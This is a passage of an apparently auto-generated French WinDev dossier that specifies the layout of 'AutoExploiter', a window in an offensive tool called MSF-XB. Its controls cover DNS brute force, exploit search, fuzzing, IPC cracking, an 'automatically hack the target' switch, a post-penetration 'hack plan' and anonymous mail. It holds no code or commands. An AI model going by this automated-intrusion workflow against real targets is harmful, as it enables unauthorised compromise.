Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 81

Partie 4Fenêtre WinDev - Fenêtre Interne WinDev

Page 82: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 82

AutoExploiter Image

Page 83: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 83

AutoExploiter Informations générales

AutoExploiter

Fichier physique G:\Mes Projets\MSF-XB11\AutoExploiter.wdw

Date de création 09/10/2005 13:11:58

Dernière modification par JA-PSI

Date dernière modification 15/08/2008 16:43:59

TitreFR: theXploiter - www.ja-psi.frGB: theXploiter - www.ja-psi.com

Type fenêtre Fenêtre libre

Mode ouverture Maximisée à l'ouverture

Note pour le dossier

FR,GB: FR,GB:

Position X 0 Position Y 0 Largeur 1032

Hauteur 794

Visible Barre de titre Menu systèmeIcone réduction Icone agrandissement Icone aide ctx.Barre de message Détourer le fond Mode 9 imagesRedimensionnable Avec grip Grip dans imageDéplace/fond Sauve position Ascenseur auto.Gestion grande police Menu look XP Thème XPCtx. HF indép.

Etat initial ActifClic droitCurseur survol 0

Page 84: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 84

Menu contextuel

Fichier aide ctx.

Opacité 100Type cadre <Aucun>Transparence Vista NonTransparence gérée par Vista Non

Valide auto. 0Bouton auto.Lib. + tps restant NonGroupe MDIPos. X Menu 8Pos. Y Menu 26M.C.U. OuiAnim. Ouverture 0Anim. Fermeture 0Durée Anim. Ouverture 100Durée Anim. Fermeture 50Adapte Taille contenu NonAssombri quand inactif OuiDéplace souris sur bouton par défaut Non

Fichier parcouru 0Rub. parcourue

ImageImage fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Bg_Base.gifIcone G:\Mes Projets\MSF-XB11\Yin Yang.icoImage poignée G:\Mes Projets\MSF-XB11\MediaPlayer_Resize.gif

Page 85: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 85

Statistiques de la fenêtreChamp de saisie 17 Libellé 4

Bouton 29 Interrupteur 2

Image 1 Table 1

Combo 3 Champ ActiveX 1

Superchamp 2 Option de menu 1

Colonne de table 6 Case barre de message 1

Nombre d'éléments dans la fenêtre : 68

AutoExploiter Informations sur les champs

Fenêtre : AutoExploiterChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

DOMAINE 14 76 261 22 0 Actif Texte

DOMAINE_INFOS 497 78 427 22 0 affichag Texte

DOMAINE_LANGUE 497 100 156 22 0 affichag Texte

IP11 50 100 36 22 0 Actif Numériqu

IP12 92 100 36 22 0 Actif Numériqu

IP13 134 100 36 22 0 Actif Numériqu

IP14 176 100 36 22 0 Actif Numériqu

IP21 50 128 36 22 0 Actif Numériqu

IP22 92 128 36 22 0 Actif Numériqu

IP23 134 128 36 22 0 Actif Numériqu

IP24 176 128 36 22 0 Actif Numériqu

IPLAN 241 31 170 22 0 Actif Texte

IPWAN 419 31 172 22 0 Actif Texte

MAC 14 240 380 22 0 affichag Texte

OS 285 212 639 22 0 affichag Texte

TYPE_SCAN_PARAMETRES 410 128 514 22 0 Actif Texte

Page 86: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 86

LibelléPosition Position Largeur Hauteur Plan Visib Etat initial Cadrage horz. Cadrage vert. Form Anim

LIB_IP1 14 104 30 20 0 Actif Gauche Haut

LIB_IP2 14 130 30 20 0 Actif Gauche Haut

Libellé1 930 189 85 234 0 Actif Gauche Haut

RADTitle 9 4 883 18 0 Actif Gauche Centre

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_ADSI 343 100 50 24 0 Actif Normal

BTN_Bouton2 938 647 80 47 0 Actif Normal

BTN_Bouton3 599 31 25 24 0 Actif Normal

BTN_Bouton5 484 174 130 24 0 Actif Normal

BTN_Bouton6 670 174 80 24 0 Actif Normal

BTN_DNS 289 99 32 24 0 Actif Normal

BTN_EDITER_EXPLOIT 933 339 80 24 0 Actif Normal

BTN_IMPORT_FICHIER_NMAP 400 156 25 24 0 Actif Normal

BTN_LANGUE_HTTP 659 100 25 24 0 Actif Normal

BTN_MSF_EDITEUR 728 31 80 49 0 Actif Normal

BTN_PING 433 78 25 24 0 Actif Normal

BTN_WGET 466 78 25 24 0 Actif Normal

BTN_WHOIS 400 78 25 24 0 Actif Normal

Bouton1 218 100 32 22 0 Actif Normal

Bouton2 642 31 80 49 0 Actif Normal

Bouton3 938 57 80 37 0 Grisé Normal

Bouton5 516 238 80 24 0 Actif Normal

EXPLOITER 933 219 80 24 0 Actif Normal

FINGERPRINT 844 156 80 24 0 Actif Normal

FUZZER 933 309 80 24 0 Actif Normal

GESTION_EXPLOITS 933 390 80 24 0 Actif Normal

GO 938 128 80 24 0 Actif Normal

IPCCRACK 933 279 80 24 0 Actif Normal

SEARCH_EXPLOIT 933 249 80 24 0 Actif Normal

Page 87: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 87

InterrupteurPosition Position Largeur Hauteur Plan Visib Etat initial Touc Nb. colonnes Col. Trois

AUTOHACK 410 238 100 26 0 Actif 1

VIEW_LIVE_REPORT 602 238 125 26 0 Actif 1

ImagePosition Position Largeur Hauteur Plan Visib Etat initial Avec Priori Anim Avec

BTN_Syst_Restore 722 -19 14 14 0 Actif

TablePosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Utili Bloc Enre Multi Affic Asc. Bull Saisi Gest Mém Colonne Com

Table1 14 276 910 418 0 Actif Mémoire 1

ComboPosition Position Largeur Hauteur Plan Visib Etat initial Touc Fichier Parc Liste Avec Saisi Saisi NUL Bulle Défil

COMBO_DOMAINE 285 72 113 28 0 Actif Mémoire

COMBO_IPS 14 209 267 28 0 Actif Mémoire

TYPE_SCAN 218 128 182 28 0 Actif Mémoire

Champ ActiveXPosition Position Largeur Hauteur Plan Visib Etat initial Touc

ActiveX1 14 706 831 54 0 Actif

Page 88: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 88

SuperchampPosition Position Largeur Hauteur Plan Visib Etat initial Touc

SCSelecteurFichier 14 156 380 25 0 Actif

SCSystemButtons 898 1 128 18 0 Actif

Table : Table1Colonne de table

Type Largeur Visib Etat initial Fixée Dépl Larg Colo Avec Cadrage horz. Cadrage vert. Type saisie Multi Form Liste Avec Saisi

PORT 70 affichag Gauche Centre Texte

ETAT 84 affichag Gauche Centre Texte

SERVICE 100 affichag Gauche Centre Texte

VERSION 461 affichag Gauche Centre Texte

EXPLOITS 195 affichag Gauche Centre Texte

COL_IDEXPLOIT 100 affichag Droite Centre Numériqu

Superchamp : SCSelecteurFichierChamp de saisie

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type saisie Multi Form Mot Saisi Mise NUL Saisi Effac Fin Défil Défil Asc. Asc.

SAIS_FIC 14 158 360 22 0 Actif Texte

BoutonPosition Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SEL 373 160 18 52 0 Actif Normal

Page 89: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 89

Superchamp : SCSystemButtonsBouton

Position Position Largeur Hauteur Plan Visib Etat initial Touc Type bouton

BTN_SYST_FERMER 982 0 44 19 0 Actif Normal

BTN_SYST_MINIMIZE 932 0 26 19 0 Actif Normal

BTN_Syst_Maximize 958 0 25 19 0 Actif Normal

BTN_UMC 898 0 24 19 0 Actif Normal

Fenêtre : AutoExploiterInterrupteur : AUTOHACK

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &InterrupteurGB: Check box

Valeur initiale 0Ordre navigation 26Curseur survol 0Synchro Infos Partagées Non

Cadrage horz. GaucheCadrage vert. HautAltitude 32

Bulle d'aide FR:GB: Automatically hack the target

Numéro aide 0

Opacité 100

Options FR,GB: AutoHackValeur persistante NonOption multi-lignes OuiOption format RTF Non

Image G:\Mes Projets\MSF-XB11\MediaPlayer_Cbox_Anim.gif

Page 90: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 90

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ ActiveX : ActiveX1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Champ ActiveXOrdre navigation 29Curseur survol 0

Altitude 35

Numéro aide 0

Ancrage Largeur et hauteurTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_ADSI

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: IIS ADSIOrdre navigation 48Curseur survol 0On/Off Non

Altitude 54

Bulle d'aide FR: Obtenir des informations sur le domaine via l'API ADSI de IISGB: Search information about the domain with IIS ADSI API

Numéro aide 0

Page 91: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 91

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_Bouton2

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 34Curseur survol 0On/Off Non

Altitude 40

Bulle d'aide FR: Mail anonymeGB: Anonymous mail

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST05071-48-5.pngNb. états image 5

Page 92: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 92

Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage Droite et basTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_Bouton3

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 35Curseur survol 0On/Off Non

Altitude 41

Bulle d'aide FR: Trouver votre adresse Internet via WhatIsMyIp.comGB: Find your Internet address via WhatIsMyIp.com

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST12440-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0

Page 93: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 93

Hauteur Halo 0

Ancrage DroiteTaux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_Bouton5

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: IMPORT_IPINDEXGB: Button

Ordre navigation 39Curseur survol 0On/Off Non

Altitude 45

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 94: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 94

Bouton : BTN_Bouton6

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &BoutonGB: Button

Ordre navigation 40Curseur survol 0On/Off Non

Altitude 46

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 95: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 95

Bouton : BTN_DNS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: DNSOrdre navigation 47Curseur survol 0On/Off Non

Altitude 53

Bulle d'aide FR: Obtenir des informations sur le domaine par force brute DNSGB: Search information about the domain with a DNS bruteforce

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 96: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 96

Bouton : BTN_EDITER_EXPLOIT

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &EditerGB: &Edit

Ordre navigation 46Curseur survol 0On/Off Non

Altitude 52

Bulle d'aide FR: Editer le code de l'exloit sélectionnéGB: Edit the code of the selected exploit

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 97: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 97

Bouton : BTN_IMPORT_FICHIER_NMAP

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 33Curseur survol 0On/Off Non

Altitude 39

Bulle d'aide FR: Importer le fichier résultat de scan nmap sélectionnéGB: Import the selected nmap's scan results file

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST01344-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 98: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 98

Bouton : BTN_LANGUE_HTTP

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 45Curseur survol 0On/Off Non

Altitude 51

Bulle d'aide FR: Chercher la langue du site (HTTP)GB: Search the website's language (HTTP)

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST04025-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 99: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 99

Bouton : BTN_MSF_EDITEUR

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Editeur MSFGB: MSF Editor

Ordre navigation 24Curseur survol 0On/Off Non

Altitude 30

Bulle d'aide FR: Lancer MSF-XBGB: Launch MSF-XB

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 100: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 100

Bouton : BTN_PING

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 41Curseur survol 0On/Off Non

Altitude 47

Bulle d'aide FR: Ping - trouver l'IP du domaineGB: Ping to retrieve the domain IP address

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST05055-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 101: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 101

Image : BTN_Syst_Restore

Note pour le dossier

FR,GB: FR,GB:

Valeur initiale FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_Restore.gifCurseur survol 0Synchro Infos Partagées NonMenu FAA par défaut Non

Cadrage horz. GaucheCadrage vert. HautAltitude 3

Numéro aide 0

Opacité 100Ascenseur et zoom auto. Non

Mode 9 images Non

Ancrage DroiteTaux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_WGET

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 42Curseur survol 0On/Off Non

Altitude 48

Bulle d'aide FR,GB: WgetNuméro aide 0

Page 102: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 102

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST18121-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : BTN_WHOIS

Note pour le dossier

FR,GB: FR,GB:

Ordre navigation 38Curseur survol 0On/Off Non

Altitude 44

Bulle d'aide FR: Obtenir des informations sur le domaine par bases WhoisGB: Search information about the domain in Whois databases

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\VST12440-16-5.png

Page 103: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 103

Nb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : Bouton1

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: &BoutonGB: Button

Ordre navigation 11Curseur survol 0On/Off Non

Altitude 17

Bulle d'aide FR: Scanner la rangeGB: Scan the range

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Image FR,GB: G:\Mes Projets\MSF-XB11\LCD05040-16-5.pngNb. états image 5Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_MiniLeft.gifNb. états fond 5

Page 104: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 104

Etirement de l'image de fond LargeurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Bouton : Bouton2

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Import ExploitsOrdre navigation 16Curseur survol 0On/Off Non

Altitude 22

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 105: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 105

Bouton : Bouton3

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Extraction NMAP/HEADER MSFGB: Button

Ordre navigation 20Curseur survol 0On/Off Non

Altitude 26

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage DroiteTaux anc. droite 500 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 106: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 106

Bouton : Bouton5

Note pour le dossier

FR,GB: FR,GB:

Libellé FR,GB: Hack PlanGroupe GP_AUTOHACKOrdre navigation 27Curseur survol 0On/Off Non

Altitude 33

Bulle d'aide FR:GB: Defines the hacking plan (the actions to perform after a successful penetration)

Numéro aide 0

Opacité 100

Animée par défaut OuiMode ellipse <Aucun>

Nb. états image 1Image fond FR,GB: G:\Mes Projets\MSF-XB11\MediaPlayer_Btn_anim.gifNb. états fond 5Etirement de l'image de fond Largeur et hauteurNb. étapes animation 6Largeur Halo 0Hauteur Halo 0

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Page 107: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 107

Combo : COMBO_DOMAINE

Note pour le dossier

FR,GB: FR,GB:

Contenu initial FR,GB: arine.net iana.net ripe.net google.com amen.fr search.live.com

Ordre navigation 37Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 0Largeur liste 113Larg. déroulée perso. NonHauteur ligne 15Altitude 43Retrait gauche 2Position X interne 285Largeur interne 113

Numéro aide 0

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille Oui

Page 108: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 108

Historique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Combo : COMBO_IPS

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Résultats pourGB: Results for

Ordre navigation 14Curseur survol 0Synchro Infos Partagées NonUtil. gLien pour valeur Non

Cadrage horz. GaucheOrientation verticale NonHauteur liste 152Largeur liste 179Larg. déroulée perso. NonHauteur ligne 15Altitude 20Retrait gauche 2Position X interne 102Largeur interne 179

Numéro aide 0

Page 109: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 109

Opacité 100

Taille de saisie 0Masque saisie FR,GB: ¤Unicode NonEffacement automatique NonFin saisie automatique NonAvec focus OuiRedimensionnable OuiMémorise la taille OuiHistorique des saisies NonHistorique des sélections NongLienActive OuiValeur persistante Non

Nb. Enreg. Max 0Fichier parcouru 01ère ligne perso. Non

Ancrage <Aucun>Taux anc. droite 1000 Taux anc. bas 1000 Taux anc. largeur 1000 Taux anc. hauteur 1000

Champ de saisie : DOMAINE

Note pour le dossier

FR,GB: FR,GB:

Libellé FR: Domaine/URL:GB: Domain/URL:

Ordre navigation 36Curseur survol 0Synchro Infos Partagées NonTouche TAB Oui

Cadrage horz. GaucheAltitude 42

Page 110: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fenêtre WinDev - Fenêtre Interne WinDevPartie 4

26/10/2008 110

Retrait gauche 2Position X interne 102Largeur interne 173

Bulle d'aide FR: URL ou nom de domaine (Ex: www.google.fr)GB: URL or domain name (Ex: www.google.com)

